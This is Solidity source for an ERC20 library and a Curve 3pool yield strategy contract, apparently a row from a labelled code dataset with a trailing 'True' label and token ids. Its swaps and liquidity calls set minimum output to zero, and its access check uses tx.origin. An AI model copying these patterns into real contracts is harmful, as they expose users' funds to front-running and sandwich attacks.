function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
interface IVault is IERC20 {
function token() external view returns (address);
function claimInsurance() external; // NOTE: Only yDelegatedVault implements this
function getRatio() external view returns (uint256);
function deposit(uint256) external;
function withdraw(uint256) external;
function earn() external;
}
// SPDX-License-Identifier: MIT
interface ICurveFi_2 {
function get_virtual_price() external view returns (uint256);
function add_liquidity(uint256[2] calldata amounts, uint256 min_mint_amount)
external;
function remove_liquidity_imbalance(
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[2] calldata amounts)
external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(int128) external view returns (uint256);
}
interface ICurveFi_3 {
function get_virtual_price() external view returns (uint256);
function add_liquidity(uint256[3] calldata amounts, uint256 min_mint_amount)
external;
function remove_liquidity_imbalance(
uint256[3] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[3] calldata amounts)
external;
function remove_liquidity_one_coin(uint256 _token_amount, int128 i, uint256 min_amount) external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(uint256) external view returns (uint256);
}
interface ICurveFi_4 {
function get_virtual_price() external view returns (uint256);
function add_liquidity(uint256[4] calldata amounts, uint256 min_mint_amount)
external;
function remove_liquidity_imbalance(
uint256[4] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata amounts)
external;
function exchange(
int128 from,
int128 to,
uint256 _from_amount,
uint256 _min_to_amount
) external;
function balances(int128) external view returns (uint256);
}
interface ICurveZap_4 {
function add_liquidity(
uint256[4] calldata uamounts,
uint256 min_mint_amount
) external;
function remove_liquidity(uint256 _amount, uint256[4] calldata min_uamounts)
external;
function remove_liquidity_imbalance(
uint256[4] calldata uamounts,
uint256 max_burn_amount
) external;
function calc_withdraw_one_coin(uint256 _token_amount, int128 i)
external
returns (uint256);
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount
) external;
function remove_liquidity_one_coin(
uint256 _token_amount,
int128 i,
uint256 min_uamount,
bool donate_dust
) external;
function withdraw_donated_dust() external;
function coins(int128 arg0) external returns (address);
function underlying_coins(int128 arg0) external returns (address);
function curve() external returns (address);
function token() external returns (address);
}
interface ICurveGauge {
function deposit(uint256 _value) external;
function deposit(uint256 _value, address addr) external;
function balanceOf(address arg0) external view returns (uint256);
function withdraw(uint256 _value) external;
function withdraw(uint256 _value, bool claim_rewards) external;
function claim_rewards() external;
function claim_rewards(address addr) external;
function claimable_tokens(address addr) external returns (uint256);
function claimable_reward(address addr) external view returns (uint256);
function integrate_fraction(address arg0) external view returns (uint256);
}
interface ICurveMintr {
function mint(address) external;
function minted(address arg0, address arg1) external view returns (uint256);
}
interface ICurveVotingEscrow {
function locked(address arg0)
external
view
returns (int128 amount, uint256 end);
function locked__end(address _addr) external view returns (uint256);
function create_lock(uint256, uint256) external;
function increase_amount(uint256) external;
function increase_unlock_time(uint256 _unlock_time) external;
function withdraw() external;
function smart_wallet_checker() external returns (address);
}
interface ICurveSmartContractChecker {
function wallets(address) external returns (bool);
function approveWallet(address _wallet) external;
}
// SPDX-License-Identifier: MIT
// SPDX-License-Identifier: MIT
interface UniswapRouterV2 {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Burn(
address indexed sender,
uint256 amount0,
uint256 amount1,
address indexed to
);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function burn(address to)
external
returns (uint256 amount0, uint256 amount1);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// SPDX-License-Identifier: MIT
interface IController {
function vaults(address) external view returns (address);
function rewards() external view returns (address);
function devfund() external view returns (address);
function treasury() external view returns (address);
function balanceOf(address) external view returns (uint256);
function withdraw(address, uint256) external;
function earn(address, uint256) external;
}
// SPDX-License-Identifier: MIT
interface IStakingRewards {
function balanceOf(address account) external view returns (uint256);
function earned(address account) external view returns (uint256);
function exit() external;
function getReward() external;
function getRewardForDuration() external view returns (uint256);
function lastTimeRewardApplicable() external view returns (uint256);
function lastUpdateTime() external view returns (uint256);
function notifyRewardAmount(uint256 reward) external;
function periodFinish() external view returns (uint256);
function rewardPerToken() external view returns (uint256);
function rewardPerTokenStored() external view returns (uint256);
function rewardRate() external view returns (uint256);
function rewards(address) external view returns (uint256);
function rewardsDistribution() external view returns (address);
function rewardsDuration() external view returns (uint256);
function rewardsToken() external view returns (address);
function stake(uint256 amount) external;
function stakeWithPermit(
uint256 amount,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
function stakingToken() external view returns (address);
function totalSupply() external view returns (uint256);
function userRewardPerTokenPaid(address) external view returns (uint256);
function withdraw(uint256 amount) external;
}
interface IStakingRewardsFactory {
function deploy(address stakingToken, uint256 rewardAmount) external;
function isOwner() external view returns (bool);
function notifyRewardAmount(address stakingToken) external;
function notifyRewardAmounts() external;
function owner() external view returns (address);
function renounceOwnership() external;
function rewardsToken() external view returns (address);
function stakingRewardsGenesis() external view returns (uint256);
function stakingRewardsInfoByStakingToken(address)
external
view
returns (address stakingRewards, uint256 rewardAmount);
function stakingTokens(uint256) external view returns (address);
function transferOwnership(address newOwner) external;
}
// SPDX-License-Identifier: MIT
interface IMasterchef {
function BONUS_MULTIPLIER() external view returns (uint256);
function add(
uint256 _allocPoint,
address _lpToken,
bool _withUpdate
) external;
function bonusEndBlock() external view returns (uint256);
function deposit(uint256 _pid, uint256 _amount) external;
function dev(address _devaddr) external;
function devFundDivRate() external view returns (uint256);
function devaddr() external view returns (address);
function emergencyWithdraw(uint256 _pid) external;
function getMultiplier(uint256 _from, uint256 _to)
external
view
returns (uint256);
function massUpdatePools() external;
function owner() external view returns (address);
function pendingMM(uint256 _pid, address _user)
external
view
returns (uint256);
function mm() external view returns (address);
function mmPerBlock() external view returns (uint256);
function poolInfo(uint256)
external
view
returns (
address lpToken,
uint256 allocPoint,
uint256 lastRewardBlock,
uint256 accMMPerShare
);
function poolLength() external view returns (uint256);
function renounceOwnership() external;
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) external;
function setBonusEndBlock(uint256 _bonusEndBlock) external;
function setDevFundDivRate(uint256 _devFundDivRate) external;
function setMMPerBlock(uint256 _mmPerBlock) external;
function startBlock() external view returns (uint256);
function totalAllocPoint() external view returns (uint256);
function transferOwnership(address newOwner) external;
function updatePool(uint256 _pid) external;
function userInfo(uint256, address)
external
view
returns (uint256 amount, uint256 rewardDebt);
function withdraw(uint256 _pid, uint256 _amount) external;
function notifyBuybackReward(uint256 _amount) external;
}
// Strategy Contract Basics
abstract contract StrategyBase {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// Perfomance fee 30% to buyback
uint256 public performanceFee = 30000;
uint256 public constant performanceMax = 100000;
// Withdrawal fee 0.2% to buyback
// - 0.14% to treasury
// - 0.06% to dev fund
uint256 public treasuryFee = 140;
uint256 public constant treasuryMax = 100000;
uint256 public devFundFee = 60;
uint256 public constant devFundMax = 100000;
// buyback ready
bool public buybackEnabled = false;
address public mmToken;
address public masterChef;
// Tokens
address public want;
address public constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant usdcBuyback = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
// User accounts
address public governance;
address public controller;
address public strategist;
address public timelock;
// Dex
address public univ2Router2 = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(
address _want,
address _governance,
address _strategist,
address _controller,
address _timelock
) public {
require(_want != address(0));
require(_governance != address(0));
require(_strategist != address(0));
require(_controller != address(0));
require(_timelock != address(0));
want = _want;
governance = _governance;
strategist = _strategist;
controller = _controller;
timelock = _timelock;
}
// **** Modifiers **** //
modifier onlyBenevolent {
require(
msg.sender == tx.origin ||
msg.sender == governance ||
msg.sender == strategist
);
_;
}
// **** Views **** //
function balanceOfWant() public view returns (uint256) {
return IERC20(want).balanceOf(address(this));
}
function balanceOfPool() public virtual view returns (uint256);
function balanceOf() public view returns (uint256) {
return balanceOfWant().add(balanceOfPool());
}
function getName() external virtual pure returns (string memory);
// **** Setters **** //
function setDevFundFee(uint256 _devFundFee) external {
require(msg.sender == timelock, "!timelock");
devFundFee = _devFundFee;
}
function setTreasuryFee(uint256 _treasuryFee) external {
require(msg.sender == timelock, "!timelock");
treasuryFee = _treasuryFee;
}
function setPerformanceFee(uint256 _performanceFee) external {
require(msg.sender == timelock, "!timelock");
performanceFee = _performanceFee;
}
function setStrategist(address _strategist) external {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setTimelock(address _timelock) external {
require(msg.sender == timelock, "!timelock");
timelock = _timelock;
}
function setController(address _controller) external {
require(msg.sender == timelock, "!timelock");
controller = _controller;
}
function setMmToken(address _mmToken) external {
require(msg.sender == governance, "!governance");
mmToken = _mmToken;
}
function setBuybackEnabled(bool _buybackEnabled) external {
require(msg.sender == governance, "!governance");
buybackEnabled = _buybackEnabled;
}
function setMasterChef(address _masterChef) external {
require(msg.sender == governance, "!governance");
masterChef = _masterChef;
}
// **** State mutations **** //
function deposit() public virtual;
// Controller only function for creating additional rewards from dust
function withdraw(IERC20 _asset) external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
require(want != address(_asset), "want");
balance = _asset.balanceOf(address(this));
_asset.safeTransfer(controller, balance);
}
// Withdraw partial funds, normally used with a vault withdrawal
function withdraw(uint256 _amount) external {
require(msg.sender == controller, "!controller");
uint256 _balance = IERC20(want).balanceOf(address(this));
if (_balance < _amount) {
_amount = _withdrawSome(_amount.sub(_balance));
_amount = _amount.add(_balance);
}
uint256 _feeDev = _amount.mul(devFundFee).div(devFundMax);
uint256 _feeTreasury = _amount.mul(treasuryFee).div(treasuryMax);
if (buybackEnabled == true) {
// we want buyback mm using LP token
(address _buybackPrinciple, uint256 _buybackAmount) = _convertWantToBuyback(_feeDev.add(_feeTreasury));
buybackAndNotify(_buybackPrinciple, _buybackAmount);
} else {
IERC20(want).safeTransfer(IController(controller).devfund(), _feeDev);
IERC20(want).safeTransfer(IController(controller).treasury(), _feeTreasury);
}
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, _amount.sub(_feeDev).sub(_feeTreasury));
}
// buyback MM and notify MasterChef
function buybackAndNotify(address _buybackPrinciple, uint256 _buybackAmount) internal {
if (buybackEnabled == true) {
_swapUniswap(_buybackPrinciple, mmToken, _buybackAmount);
uint256 _mmBought = IERC20(mmToken).balanceOf(address(this));
IERC20(mmToken).safeTransfer(masterChef, _mmBought);
IMasterchef(masterChef).notifyBuybackReward(_mmBought);
}
}
// Withdraw all funds, normally used when migrating strategies
function withdrawAll() external returns (uint256 balance) {
require(msg.sender == controller, "!controller");
_withdrawAll();
balance = IERC20(want).balanceOf(address(this));
address _vault = IController(controller).vaults(address(want));
require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
IERC20(want).safeTransfer(_vault, balance);
}
function _withdrawAll() internal {
_withdrawSome(balanceOfPool());
}
function _withdrawSome(uint256 _amount) internal virtual returns (uint256);
// convert LP to buyback principle token
function _convertWantToBuyback(uint256 _lpAmount) internal virtual returns (address, uint256);
function harvest() public virtual;
// **** Emergency functions ****
function execute(address _target, bytes memory _data)
public
payable
returns (bytes memory response)
{
require(msg.sender == timelock, "!timelock");
require(_target != address(0), "!target");
// call contract in current context
assembly {
let succeeded := delegatecall(
sub(gas(), 5000),
_target,
add(_data, 0x20),
mload(_data),
0,
0
)
let size := returndatasize()
response := mload(0x40)
mstore(
0x40,
add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
)
mstore(response, size)
returndatacopy(add(response, 0x20), 0, size)
switch iszero(succeeded)
case 1 {
// throw if delegatecall failed
revert(add(response, 0x20), size)
}
}
}
// **** Internal functions ****
function _swapUniswap(
address _from,
address _to,
uint256 _amount
) internal {
require(_to != address(0));
// Swap with uniswap
IERC20(_from).safeApprove(univ2Router2, 0);
IERC20(_from).safeApprove(univ2Router2, _amount);
address[] memory path;
if (_to == mmToken && buybackEnabled == true) {
if (_from == usdcBuyback){
path = new address[](2);
path[0] = _from;
path[1] = _to;
}else{
path = new address[](3);
path[0] = _from;
path[1] = usdcBuyback;
path[2] = _to;
}
} else{
if (_from == weth || _to == weth) {
path = new address[](2);
path[0] = _from;
path[1] = _to;
} else {
path = new address[](3);
path[0] = _from;
path[1] = weth;
path[2] = _to;
}
}
UniswapRouterV2(univ2Router2).swapExactTokensForTokens(
_amount,
0,
path,
address(this),
now.add(60)
);
}
}
// SPDX-License-Identifier: MIT
// Base contract for Curve based staking contract interfaces
abstract contract StrategyCurveBase is StrategyBase {
// curve dao
address public gauge;
address public curve;
address public mintr = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0;
// stablecoins
address public dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public susd = 0x57Ab1ec28D129707052df4dF418D58a2D46d5f51;
// bitcoins
address public wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
address public renbtc = 0xEB4C2781e4ebA804CE9a9803C67d0893436bB27D;
// rewards
address public crv = 0xD533a949740bb3306d119CC777fa900bA034cd52;
// How much CRV tokens to keep
uint256 public keepCRV = 0;
uint256 public keepCRVMax = 10000;
constructor(
address _curve,
address _gauge,
address _want,
address _governance,
address _strategist,
address _controller,
address _timelock
)
public
StrategyBase(_want, _governance, _strategist, _controller, _timelock)
{
curve = _curve;
gauge = _gauge;
}
// **** Getters ****
function balanceOfPool() public override view returns (uint256) {
return ICurveGauge(gauge).balanceOf(address(this));
}
function getHarvestable() external returns (uint256) {
return ICurveGauge(gauge).claimable_tokens(address(this));
}
function getMostPremium() public virtual view returns (address, uint256);
function _convertWantToBuyback(uint256 _lpAmount) internal virtual override returns (address, uint256);
// **** Setters ****
function setKeepCRV(uint256 _keepCRV) external {
require(msg.sender == governance, "!governance");
keepCRV = _keepCRV;
}
// **** State Mutation functions ****
function deposit() public override {
uint256 _want = IERC20(want).balanceOf(address(this));
if (_want > 0) {
IERC20(want).safeApprove(gauge, 0);
IERC20(want).safeApprove(gauge, _want);
ICurveGauge(gauge).deposit(_want);
}
}
function _withdrawSome(uint256 _amount)
internal
override
returns (uint256)
{
ICurveGauge(gauge).withdraw(_amount);
return _amount;
}
}
// SPDX-License-Identifier: MIT
contract StrategyCurve3CRVv1 is StrategyCurveBase {
// Curve stuff
address public three_pool = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
address public three_gauge = 0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A;
address public three_crv = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490;
constructor(
address _governance,
address _strategist,
address _controller,
address _timelock
)
public
StrategyCurveBase(
three_pool,
three_gauge,
three_crv,
_governance,
_strategist,
_controller,
_timelock
)
{}
// **** Views ****
function getMostPremium()
public
override
view
returns (address, uint256)
{
uint256[] memory balances = new uint256[](3);
balances[0] = ICurveFi_3(curve).balances(0); // DAI
balances[1] = ICurveFi_3(curve).balances(1).mul(10**12); // USDC
balances[2] = ICurveFi_3(curve).balances(2).mul(10**12); // USDT
// DAI
if (
balances[0] < balances[1] &&
balances[0] < balances[2]
) {
return (dai, 0);
}
// USDC
if (
balances[1] < balances[0] &&
balances[1] < balances[2]
) {
return (usdc, 1);
}
// USDT
if (
balances[2] < balances[0] &&
balances[2] < balances[1]
) {
return (usdt, 2);
}
// If they're somehow equal, we just want DAI
return (dai, 0);
}
function getName() external override pure returns (string memory) {
return "StrategyCurve3CRVv1";
}
// **** State Mutations ****
function _convertWantToBuyback(uint256 _lpAmount) internal override returns (address, uint256){
(address to, uint256 toIndex) = getMostPremium();
ICurveFi_3(curve).remove_liquidity_one_coin(_lpAmount, int128(toIndex), 0);
uint256 _to = IERC20(to).balanceOf(address(this));
return (to, _to);
}
function harvest() public onlyBenevolent override {
// Anyone can harvest it at any given time.
// I understand the possibility of being frontrun
// But ETH is a dark forest, and I wanna see how this plays out
// i.e. will be be heavily frontrunned?
// if so, a new strategy will be deployed.
// stablecoin we want to convert to
(address to, uint256 toIndex) = getMostPremium();
// Collects crv tokens
// Don't bother voting in v1
ICurveMintr(mintr).mint(gauge);
uint256 _crv = IERC20(crv).balanceOf(address(this));
if (_crv > 0) {
// x% is sent back to the rewards holder
// to be used to lock up in as veCRV in a future date
uint256 _keepCRV = _crv.mul(keepCRV).div(keepCRVMax);
if (_keepCRV > 0) {
IERC20(crv).safeTransfer(
IController(controller).treasury(),
_keepCRV
);
}
_crv = _crv.sub(_keepCRV);
_swapUniswap(crv, to, _crv);
}
// Adds liquidity to curve.fi's pool
// to get back want (3crv)
uint256 _to = IERC20(to).balanceOf(address(this));
uint256 _buybackAmount = _to.mul(performanceFee).div(performanceMax);
if (_to > 0) {
if (buybackEnabled == true && _to > 0) {
_to = _to.mul(performanceMax.sub(performanceFee)).div(performanceMax);
}
IERC20(to).safeApprove(curve, 0);
IERC20(to).safeApprove(curve, _to);
uint256[3] memory liquidity;
liquidity[toIndex] = _to;
ICurveFi_3(curve).add_liquidity(liquidity, 0);
}
uint256 _want = IERC20(want).balanceOf(address(this));
if (buybackEnabled == true && _buybackAmount > 0) {
buybackAndNotify(to, _buybackAmount);
} else {
// We want to get back 3CRV
if (_want > 0) {
// Performance Fees goes to treasury
IERC20(want).safeTransfer(IController(controller).treasury(), _want.mul(performanceFee).div(performanceMax));
}
}
// re-invest to compounding profit
if (_want > 0) {
deposit();
}
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1016,
1025,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
1013,
1008,
1008,
1008,
1030,
16475,
10236,
7347,
2058,
5024,
3012,
1005,
1055,
20204,
3136,
2007,
2794,
2058,
12314,
1008,
14148,
1012,
1008,
1008,
20204,
3136,
1999,
5024,
3012,
10236,
2006,
2058,
12314,
1012,
2023,
2064,
4089,
2765,
1008,
1999,
12883,
1010,
2138,
28547,
2788,
7868,
2008,
2019,
2058,
12314,
13275,
2019,
1008,
7561,
1010,
2029,
2003,
1996,
3115,
5248,
1999,
2152,
2504,
4730,
4155,
1012,
1008,
1036,
3647,
18900,
2232,
1036,
9239,
2015,
2023,
26406,
